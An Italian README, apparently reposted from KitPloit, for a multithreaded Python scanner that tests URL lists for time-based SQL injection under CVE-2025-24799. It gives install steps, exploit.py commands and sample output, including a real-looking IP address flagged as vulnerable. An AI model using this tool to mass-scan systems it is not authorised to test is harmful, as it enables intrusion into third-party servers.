CVE-2025-24799 SQLi Scanner

Uno scanner di vulnerabilità SQL injection veloce e scritto in Python. Utilizza il rilevamento SQLi basato sul tempo con multithreading e output colorato, progettato per testare le vulnerabilità CVE-2025-24799.

Funzionalità

• Scansiona singoli URL o elenchi da file
• Mostra gli URL vulnerabili in tempo reale non appena vengono trovati
• Multithread per maggiore velocità
• Output CLI colorato
• Opzione per salvare i risultati

Installazione

1. Clona il repo:

   root@kitploit:~

   git clone https://github.com/MuhammadWaseem29/CVE-2025-24799.git
   cd CVE-2025-24799
   

2. Installa i pacchetti richiesti:

   root@kitploit:~

   pip install requests colorama
   

Utilizzo

Esegui con Python 3:

Scansione di un singolo URL

python3 exploit.py -u http://example.com

Output:

[VULN] http://example.com/index.php/ajax/ - Delay: 7.40s

Scansione di URL da un file

python3 exploit.py -f urls.txt -t 15

Output:

Scanning: 100/1000 (10.0%)
[VULN] http://example.com/index.php/ajax/ - Delay: 7.10s

Salva i risultati in un file

python3 exploit.py -f urls.txt -o results.txt -t 10

Output:

Scanning: 50/500 (10.0%)
[VULN] http://test.com/index.php/ajax/ - Delay: 7.20s
[+] Results saved to results.txt

Valida tramite curl

Opzioni

• -u <URL>: Singolo URL da scansionare
• -f <FILE>: File con URL (uno per riga)
• -o <FILE>: Salva i risultati in un file
• -t <NUM>: Numero di thread (predefinito: 10)

Output di esempio

╔════════════════════════════╗
║ Noob-Wasi SQLi Scanner    ║
║ Coded by: Noob-Wasi       ║
║ Version: 1.0             ║
╚════════════════════════════╝

Starting SQL injection scan...
Scanning: 200/3494 (5.7%)
[VULN] http://152.67.42.99/index.php/ajax/ - Delay: 7.40s
Scanning: 745/3494 (21.3%)

Scan completed!

Note

• Richiede Python 3.x
• Esegui test solo su sistemi per cui hai il permesso di scansionare
• Regola i thread (-t) in base al tuo sistema/rete

Autore: Noob-Wasi
GitHub: github.com/MuhammadWaseem29